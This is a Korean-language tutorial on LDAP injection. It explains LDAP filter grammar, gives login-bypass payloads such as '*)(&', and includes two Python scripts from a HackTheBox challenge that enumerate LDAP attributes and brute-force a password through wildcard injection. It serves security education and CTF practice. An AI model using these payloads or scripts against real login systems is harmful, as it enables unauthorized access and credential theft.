LDAP Injection은 사용자 입력값이 LDAP Query를 구성할 때 이를 이용해 비정상적인 LDAP 동작을 유도하는 공격이다. 이로 인해 검증되지 않은 쿼리에 대한 사용 권한 부여 및 LDAP 트리 내의 내용 수정과 같은 임의 명령이 실행될 수 있다.
LDAP(Lightweight Directory Access Protocol)은 네트워크 상에서 누구나 조직, 개인 및 네트워크 파일 및 장와 같은 리소스를 찾을 수 있도록 하는 소프트웨어 프로토콜이다. LDAP은 DAP(Directory Access Protocol)의 경량 버전으로 TCP/IP 위에서 운영된다.
LDAP Query가 어떤식으로 구성되어있는지 알아야 LDAP Injection 공격을 이해할 수 있다. 아래와 같은 문법으로 구성되어 있으며 예시를 살펴보자.
Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Absolute TRUE
(|) = Absolute FALSE
기본적으로 &(and)와 |(or)을 ()기준으로 묶어 가며 적용한다.
(&(조건1)(조건2)) : 조건1과 조건2를 모두 만족
(|(조건1)(조건2)) : 조건1 또는 조건2를 만족
(&(조건1)(|(조건2)(조건3))) : 조건2 또는 조건3을 만족하고 조건1를 만족
예를 들면 아래와 같다.
case 1 : 특정 ID의 사용자 검색
(&(cn=silver35)(objectclass=user)) : AD의 user카테고리에서 cn값이 'silver35'인 사용자를 검색
case 2 : 모든 사용자 검색
(&(objectClass=user)(uid=*)) : user 카테고리에서 uid값을 모두(*) 검색
username = *
password= *
전체 쿼리문 : (&(username = *)(password = * ))
username = *)(&
password = *)(&
전체 쿼리문 : (&(username = *)(&)(password = *)(&))
즉, 조건 1인 (username = *)와 조건 2인 (&)와 조건 3인 (password = *)와 조건 4인 (&)을 모두 만족
username = *)(|(&
password = pwd)
--> (&(username = *)(|(&)(passwd=pwd))
즉, 조건 1인 (username = *)와 조건 2인 (|(&)(password=pwd))를 모두 만족
이 외에도 다양한 페이로드는 아래와 나와 있으니 이를 참고하기를 바란다.
PayloadsAllTheThings/LDAP Injection at master · swisskyrepo/PayloadsAllTheThings
HackTheBox에서 LDAP Injection 관련 문제를 풀면서 사용한 스크립트이다.
#!/usr/bin/python3
import requests
import string
fields = []
url = ''
f = open('dic','r') # dic 파일에는 LDAP 속성 포함
wordl = f.read().split('\n')
f.close()
for i in wordl:
r = requests.post(url, data = {'username':'*)('+str(i)+'=*','password':'*'}) # *)(attr=*
if 'No search results' in r.text:
fields.append(str(i))
print(fields)
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-()!\"$%=^[]:;"
password = ""
url = ''
for i in alphabet :
print("[i] Looking for number " + str(i))
print(password)
for char in alphabet:
search = char
r = requests.post(url, data = {'username':'username','password':password+char+'*'}) # *)(attr=*
if 'No search results' in r.text:
password += str(char)
break
print(password)
참고자료)
https://book.hacktricks.xyz/pentesting-web/ldap-injection
LDAP Injection
https://0xukn.fr/posts/writeupecw2018admyssion/